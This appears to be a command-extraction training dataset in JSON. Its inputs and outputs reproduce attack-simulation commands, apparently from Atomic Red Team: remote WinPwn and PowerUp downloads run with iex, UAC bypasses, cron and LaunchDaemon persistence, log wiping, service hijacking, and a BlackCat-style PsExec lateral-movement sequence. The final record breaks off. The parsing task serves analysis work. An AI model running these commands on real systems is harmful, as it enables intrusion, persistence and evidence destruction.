    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To bypass UAC using the Magic technique, run the following command via WinPwn's function: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique magic; The ccmstp UAC bypass can be achieved with WinPwn by executing this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\calc.exe\" -technique ccmstp",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nUACBypass -noninteractive -command \\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\" -technique magic\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nUACBypass -noninteractive -command \\\"C:\\\\windows\\\\system32\\\\calc.exe\\\" -technique ccmstp\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The finger.exe utility can be exploited to simulate file transfers, with the default being localhost. For testing connections to external servers, execute this command: finger base64_filedata@#{remote_host}. Remember, localhost tests won't succeed.; When attempting to download a file via IMEWDBLD.exe, execute this command, keeping in mind it will produce an error for invalid dictionary files:\n$imewdbled = $env:SystemRoot + \"\\\\System32\\\\IME\\\\SHARED\\\\IMEWDBLD.exe\"\n& $imewdbled #{remote_url}\n\nNote that downloaded files are stored in either of two INetCache paths with random character subdirectories.",
    "output": "{\"command_list\": [\"finger base64_filedata@#{remote_host}\\n\", \"$imewdbled = $env:SystemRoot + \\\"\\\\System32\\\\IME\\\\SHARED\\\\IMEWDBLD.exe\\\"\\n& $imewdbled #{remote_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, employed by threat actor Rocke, involves adding a malicious script to multiple cron directories with the command: echo \"#{command}\" > /etc/cron.daily/#{cron_script_name}\necho \"#{command}\" > /etc/cron.hourly/#{cron_script_name}\necho \"#{command}\" > /etc/cron.monthly/#{cron_script_name}\necho \"#{command}\" > /etc/cron.weekly/#{cron_script_name}; For automated execution, create a cron job by running this command which writes to /etc/cron.d: echo \"#{command}\" > /etc/cron.d/#{cron_script_name}\n",
    "output": "{\"command_list\": [\"echo \\\"#{command}\\\" > /etc/cron.daily/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.hourly/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.monthly/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.weekly/#{cron_script_name}\\n\", \"echo \\\"#{command}\\\" > /etc/cron.d/#{cron_script_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test involves two steps - truncating the log file and then filling it with null bytes, which can be done with the following command sequence: sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\n; This test performs two operations on the log file - first clearing it via /dev/null and then populating it with zeros via /dev/zero, using these cat commands: cat /dev/null > /var/log/messages #truncating the file to zero bytes\ncat /dev/zero > /var/log/messages #log file filled with null bytes(zeros)",
    "output": "{\"command_list\": [\"sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\\n\", \"cat /dev/null > /var/log/messages #truncating the file to zero bytes\\ncat /dev/zero > /var/log/messages #log file filled with null bytes(zeros)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can launch 'Hello World' via LaunchDaemon with this command sequence: sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename}\nsudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}\n; The following command will permanently erase a file from the temporary folder: rm -f #{file_to_delete}",
    "output": "{\"command_list\": [\"sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename}\\nsudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}\\n\", \"rm -f #{file_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The local system account in Windows has unrestricted resource access. Using PsExec, you can spawn a command prompt running 'whoami' as this account via the command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula -s %COMSPEC% /c whoami; This test will change the Fax service's binPath to PowerShell and then start it, which you can achieve by executing this command:\nsc config Fax binPath= \"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -c \\\"write-host 'T1543.003 Test'\\\"\"\nsc start Fax\n",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PsExec.exe\\\" -accepteula -s %COMSPEC% /c whoami\\n\", \"sc config Fax binPath= \\\"C:\\\\windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -noexit -c \\\\\\\"write-host 'T1543.003 Test'\\\\\\\"\\\"\\nsc start Fax\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following actions mimic BlackCat ransomware's distinctive behavior during lateral movement attempts using PsExec, with the command sequence: cmd.exe /c \"wmic \tcsproduct \tget UUID\" \ncmd.exe /c \"fsutil behavior \tset SymlinkEvaluation R2L:1\" \ncmd.exe /c \"fsutil behavior set \tSymlinkEvaluation R2R:1\"\nreg    add    HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters    /v MaxMpxCt /d 65535 /t REG_DWORD /f      \ncopy \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" $env:temp\ncmd.exe /c \"$env:temp\\psexec.exe  -accepteula  \\\\#{targethost} cmd.exe  /c echo \"--access-token\"\"\n; To start a process on a remote host using RemCom, run the following command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\remcom.exe\" \\\\#{remote_host} /user:#{user_name} /pwd:#{password} 